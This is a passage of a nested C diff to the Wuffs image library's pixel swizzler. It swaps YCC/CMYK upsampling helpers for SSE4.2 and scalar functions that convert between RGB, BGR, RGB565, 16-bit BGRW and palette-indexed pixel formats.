++wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- uint64_t num_pixels) { +- if (p && p->private_impl.transparent_black_func) { +- return (*p->private_impl.transparent_black_func)( +- dst.ptr, dst.len, dst_palette.ptr, dst_palette.len, num_pixels, +- p->private_impl.dst_pixfmt_bytes_per_pixel); ++ __m128i shuffle = _mm_set_epi8(+0x00, +0x09, +0x0A, +0x0B, // ++ +0x00, +0x06, +0x07, +0x08, // ++ +0x00, +0x03, +0x04, +0x05, // ++ +0x00, +0x00, +0x01, +0x02); ++ __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00); ++ ++ while (n >= 6) { ++ __m128i x; ++ x = _mm_lddqu_si128((const __m128i*)(const void*)s); ++ x = _mm_shuffle_epi8(x, shuffle); ++ x = _mm_or_si128(x, or_ff); ++ _mm_storeu_si128((__m128i*)(void*)d, x); ++ ++ s += 4 * 3; ++ d += 4 * 4; ++ n -= 4; + } +- return 0; +-} + +-// -------- ++ while (n >= 1) { ++ uint8_t b0 = s[0]; ++ uint8_t b1 = s[1]; ++ uint8_t b2 = s[2]; ++ d[0] = b2; ++ d[1] = b1; ++ d[2] = b0; ++ d[3] = 0xFF; + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx_x86_avx2( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2); ++ s += 1 * 3; ++ d += 1 * 4; ++ n -= 1; ++ } + +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx_x86_avx2( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2); ++ return len; ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-#if defined(__GNUC__) && !defined(__clang__) +-// No-op. +-#else +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column, +- bool last_column); +-#endif +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__rgb(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-// -------- ++ while (n >= 1) { ++ uint8_t b0 = s[0]; ++ uint8_t b1 = s[1]; ++ uint8_t b2 = s[2]; ++ d[0] = b2; ++ d[1] = b1; ++ d[2] = b0; ++ d[3] = 0xFF; + +-static inline uint32_t // +-wuffs_base__u32__max_of_4(uint32_t a, uint32_t b, uint32_t c, uint32_t d) { +- return wuffs_base__u32__max( // +- wuffs_base__u32__max(a, b), // +- wuffs_base__u32__max(c, d)); +-} ++ s += 1 * 3; ++ d += 1 * 4; ++ n -= 1; ++ } + +-static inline uint32_t // +-wuffs_base__u32__min_of_5(uint32_t a, +- uint32_t b, +- uint32_t c, +- uint32_t d, +- uint32_t e) { +- return wuffs_base__u32__min( // +- wuffs_base__u32__min( // +- wuffs_base__u32__min(a, b), // +- wuffs_base__u32__min(c, d)), // +- e); ++ return len; + } + +-// -------- ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__rgbx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-typedef void (*wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func)( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2, +- const uint8_t* up3); ++ // TODO: unroll. + +-static void // +-wuffs_base__pixel_swizzler__swizzle_cmyk__convert_4_general( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2, +- const uint8_t* up3) { +- for (; x < x_end; x++) { +- // It's called CMYK but, but for Adobe CMYK JPEG images in practice, it's +- // RGBW: 0xFFu means no ink instead of full ink. Note that a double +- // inversion is a no-op, so inversions might be implicit in the code below. +- uint32_t r = ((uint32_t)(*up0++)); +- uint32_t g = ((uint32_t)(*up1++)); +- uint32_t b = ((uint32_t)(*up2++)); +- uint32_t w = ((uint32_t)(*up3++)); +- r = ((r * w) + 0x7Fu) / 0xFFu; +- g = ((g * w) + 0x7Fu) / 0xFFu; +- b = ((b * w) + 0x7Fu) / 0xFFu; +- wuffs_base__pixel_buffer__set_color_u32_at( +- dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); +- } +-} ++ while (n >= 1) { ++ uint8_t b0 = s[0]; ++ uint8_t b1 = s[1]; ++ uint8_t b2 = s[2]; ++ d[0] = b2; ++ d[1] = b1; ++ d[2] = b0; ++ d[3] = 0xFF; + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycck__convert_4_general( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2, +- const uint8_t* up3) { +- for (; x < x_end; x++) { +- // We invert once again: 0xFFu means no ink instead of full ink. +- uint32_t color = // +- wuffs_base__color_ycc__as__color_u32( // +- *up0++, *up1++, *up2++); +- uint32_t r = 0xFFu - (0xFFu & (color >> 16u)); +- uint32_t g = 0xFFu - (0xFFu & (color >> 8u)); +- uint32_t b = 0xFFu - (0xFFu & (color >> 0u)); +- uint32_t w = ((uint32_t)(*up3++)); +- r = ((r * w) + 0x7Fu) / 0xFFu; +- g = ((g * w) + 0x7Fu) / 0xFFu; +- b = ((b * w) + 0x7Fu) / 0xFFu; +- wuffs_base__pixel_buffer__set_color_u32_at( +- dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } ++ ++ return len; + } + + // -------- + +-typedef void (*wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func)( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2); ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw_4x16le__bgr(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-static void // +-wuffs_base__pixel_swizzler__swizzle_rgb__convert_3_general( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- for (; x < x_end; x++) { +- uint32_t color = 0xFF000000u | // +- (((uint32_t)(*up0++)) << 16u) | // +- (((uint32_t)(*up1++)) << 8u) | // +- (((uint32_t)(*up2++)) << 0u); +- wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); +- } +-} ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s0; ++ d[1] = s0; ++ d[2] = s1; ++ d[3] = s1; ++ d[4] = s2; ++ d[5] = s2; ++ d[6] = 0xFF; ++ d[7] = 0xFF; + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_general( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- for (; x < x_end; x++) { +- uint32_t color = // +- wuffs_base__color_ycc__as__color_u32( // +- *up0++, *up1++, *up2++); +- wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); ++ s += 1 * 3; ++ d += 1 * 8; ++ n -= 1; + } +-} +- +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- size_t dst_stride = dst->private_impl.planes[0].stride; +- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + +- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); + +- for (; x < x_end; x++) { +- uint32_t color = // +- wuffs_base__color_ycc__as__color_u32( // +- *up0++, *up1++, *up2++); +- wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); +- dst_iter += 4u; +- } ++ return len; + } + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- size_t dst_stride = dst->private_impl.planes[0].stride; +- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + +- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw_4x16le__bgr_565(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- for (; x < x_end; x++) { +- uint32_t color = // +- wuffs_base__color_ycc__as__color_u32_abgr( // +- *up0++, *up1++, *up2++); +- wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); +- dst_iter += 4u; ++ while (n >= 1) { ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_base__color_u32__as__color_u64( ++ wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); ++ ++ s += 1 * 2; ++ d += 1 * 8; ++ n -= 1; + } ++ ++ return len; + } + +-// -------- ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw_4x16le__bgrx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-// wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upsamples to a +-// destination slice at least 480 (YCCK) or 672 (YCC) bytes long and whose +-// src_len (multiplied by 1, 2, 3 or 4) is positive but no more than that. This +-// 480 or 672 length is just under 1/4 or 1/3 of the scratch_buffer_2k slice +-// length. Both (480 * 4) = 1920 and (672 * 3) = 2016 are less than 2048. +-// +-// 480 and 672 are nice round numbers because a JPEG MCU is 1, 2, 3 or 4 blocks +-// wide and each block is 8 pixels wide. We have: +-// 480 = 1 * 8 * 60, 672 = 1 * 8 * 84 +-// 480 = 2 * 8 * 30, 672 = 2 * 8 * 42 +-// 480 = 3 * 8 * 20, 672 = 3 * 8 * 28 +-// 480 = 4 * 8 * 15, 672 = 4 * 8 * 21 +-// +-// Box filters are equivalent to nearest neighbor upsampling. These ignore the +-// src_ptr_minor, h1v2_bias, first_column and last_column arguments. +-// +-// Triangle filters use a 3:1 ratio (in 1 dimension), or 9:3:3:1 (in 2 +-// dimensions), which is higher quality (less blocky) but also higher +-// computational effort. +-// +-// In theory, we could use triangle filters for any (inv_h, inv_v) combination. +-// In practice, matching libjpeg-turbo, we only implement it for the common +-// chroma subsampling ratios (YCC420, YCC422 or YCC440), corresponding to an +-// (inv_h, inv_v) pair of (2, 2), (2, 1) or (1, 2). +-typedef const uint8_t* ( +- *wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func)( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, // Nearest row. +- const uint8_t* src_ptr_minor, // Adjacent row, alternating above or below. +- size_t src_len, +- uint32_t h1v2_bias, +- bool first_column, +- bool last_column); ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s0; ++ d[1] = s0; ++ d[2] = s1; ++ d[3] = s1; ++ d[4] = s2; ++ d[5] = s2; ++ d[6] = 0xFF; ++ d[7] = 0xFF; + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor_ignored, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column_ignored, +- bool last_column_ignored) { +- return src_ptr_major; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; ++ } ++ ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor_ignored, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column_ignored, +- bool last_column_ignored) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp = src_ptr_major; +- while (src_len--) { +- uint8_t sv = *sp++; +- *dp++ = sv; +- *dp++ = sv; ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw_4x16le__rgb(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; ++ ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s2; ++ d[1] = s2; ++ d[2] = s1; ++ d[3] = s1; ++ d[4] = s0; ++ d[5] = s0; ++ d[6] = 0xFF; ++ d[7] = 0xFF; ++ ++ s += 1 * 3; ++ d += 1 * 8; ++ n -= 1; + } +- return dst_ptr; ++ ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor_ignored, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column_ignored, +- bool last_column_ignored) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp = src_ptr_major; +- while (src_len--) { +- uint8_t sv = *sp++; +- *dp++ = sv; +- *dp++ = sv; +- *dp++ = sv; ++// -------- ++ ++static uint64_t // ++wuffs_private_impl__swizzle_rgb__bgr_565(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; ++ ++ // TODO: unroll. ++ ++ while (n >= 1) { ++ wuffs_base__poke_u24le__no_bounds_check( ++ d + (0 * 3), ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); ++ ++ s += 1 * 2; ++ d += 1 * 3; ++ n -= 1; + } +- return dst_ptr; ++ ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box( ++// -------- ++ ++static uint64_t // ++wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src( + uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor_ignored, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column_ignored, +- bool last_column_ignored) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp = src_ptr_major; +- while (src_len--) { +- uint8_t sv = *sp++; +- *dp++ = sv; +- *dp++ = sv; +- *dp++ = sv; +- *dp++ = sv; ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ ++ size_t n = len; ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__color_u64__as__color_u32__swap_u32_argb_abgr( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); ++ ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; + } +- return dst_ptr; ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1v2_triangle( ++static uint64_t // ++wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src_over( + uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor, +- size_t src_len, +- uint32_t h1v2_bias, +- bool first_column, +- bool last_column) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp_major = src_ptr_major; +- const uint8_t* sp_minor = src_ptr_minor; +- while (src_len--) { +- *dp++ = (uint8_t)(((3u * ((uint32_t)(*sp_major++))) + // +- (1u * ((uint32_t)(*sp_minor++))) + // +- h1v2_bias) >> +- 2u); ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; ++ ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); ++ uint64_t s0 = wuffs_private_impl__swap_u64_argb_abgr( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u64__as__color_u32( ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, ++ s0))); ++ ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; + } +- return dst_ptr; ++ ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v1_triangle( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column, +- bool last_column) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp = src_ptr_major; ++// -------- + +- if (first_column) { +- src_len--; +- if ((src_len <= 0u) && last_column) { +- uint8_t sv = *sp++; +- *dp++ = sv; +- *dp++ = sv; +- return dst_ptr; +- } +- uint32_t svp1 = sp[+1]; +- uint8_t sv = *sp++; +- *dp++ = sv; +- *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svp1 + 2u) >> 2u); +- if (src_len <= 0u) { +- return dst_ptr; +- } +- } ++static uint64_t // ++wuffs_private_impl__swizzle_rgbw__bgr_565(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- if (last_column) { +- src_len--; +- } ++ // TODO: unroll. + +- for (; src_len > 0u; src_len--) { +- uint32_t svm1 = sp[-1]; +- uint32_t svp1 = sp[+1]; +- uint32_t sv3 = 3u * (uint32_t)(*sp++); +- *dp++ = (uint8_t)((sv3 + svm1 + 1u) >> 2u); +- *dp++ = (uint8_t)((sv3 + svp1 + 2u) >> 2u); +- } ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); + +- if (last_column) { +- uint32_t svm1 = sp[-1]; +- uint8_t sv = *sp++; +- *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svm1 + 1u) >> 2u); +- *dp++ = sv; ++ s += 1 * 2; ++ d += 1 * 4; ++ n -= 1; + } + +- return dst_ptr; ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column, +- bool last_column) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp_major = src_ptr_major; +- const uint8_t* sp_minor = src_ptr_minor; ++// -------- + +- if (first_column) { +- src_len--; +- if ((src_len <= 0u) && last_column) { +- uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // +- (4u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + 7u) >> 4u); +- return dst_ptr; +- } ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__index__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len3 = dst_len / 3; ++ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. +- uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. +- uint32_t sv_major_p1 = sp_major[+1]; +- uint32_t sv_minor_p1 = sp_minor[+1]; ++ const size_t loop_unroll_count = 4; + +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); +- if (src_len <= 0u) { +- return dst_ptr; +- } +- } ++ // The comparison in the while condition is ">", not ">=", because with ++ // ">=", the last 4-byte store could write past the end of the dst slice. ++ // ++ // Each 4-byte store writes one too many bytes, but a subsequent store ++ // will overwrite that with the correct byte. There is always another ++ // store, whether a 4-byte store in this loop or a 1-byte store in the ++ // next loop. ++ while (n > loop_unroll_count) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (1 * 3), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[1] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (2 * 3), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[2] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (3 * 3), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[3] * 4))); + +- if (last_column) { +- src_len--; ++ s += loop_unroll_count * 1; ++ d += loop_unroll_count * 3; ++ n -= loop_unroll_count; + } + +- for (; src_len > 0u; src_len--) { +- uint32_t sv_major_m1 = sp_major[-1]; +- uint32_t sv_minor_m1 = sp_minor[-1]; +- uint32_t sv_major_p1 = sp_major[+1]; +- uint32_t sv_minor_p1 = sp_minor[+1]; ++ while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ s += 1 * 1; ++ d += 1 * 3; ++ n -= 1; + } + +- if (last_column) { +- uint32_t sv_major_m1 = sp_major[-1]; +- uint32_t sv_minor_m1 = sp_minor[-1]; +- uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. +- uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. ++ return len; ++} + +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__index_bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; + } ++ size_t dst_len3 = dst_len / 3; ++ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- return dst_ptr; +-} ++ // TODO: unroll. + +-// wuffs_base__pixel_swizzler__swizzle_ycc__upsample_funcs is indexed by inv_h +-// and then inv_v. +-static const wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_funcs[4][4] = { +- { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, +- }, +- { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, +- }, +- { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, +- 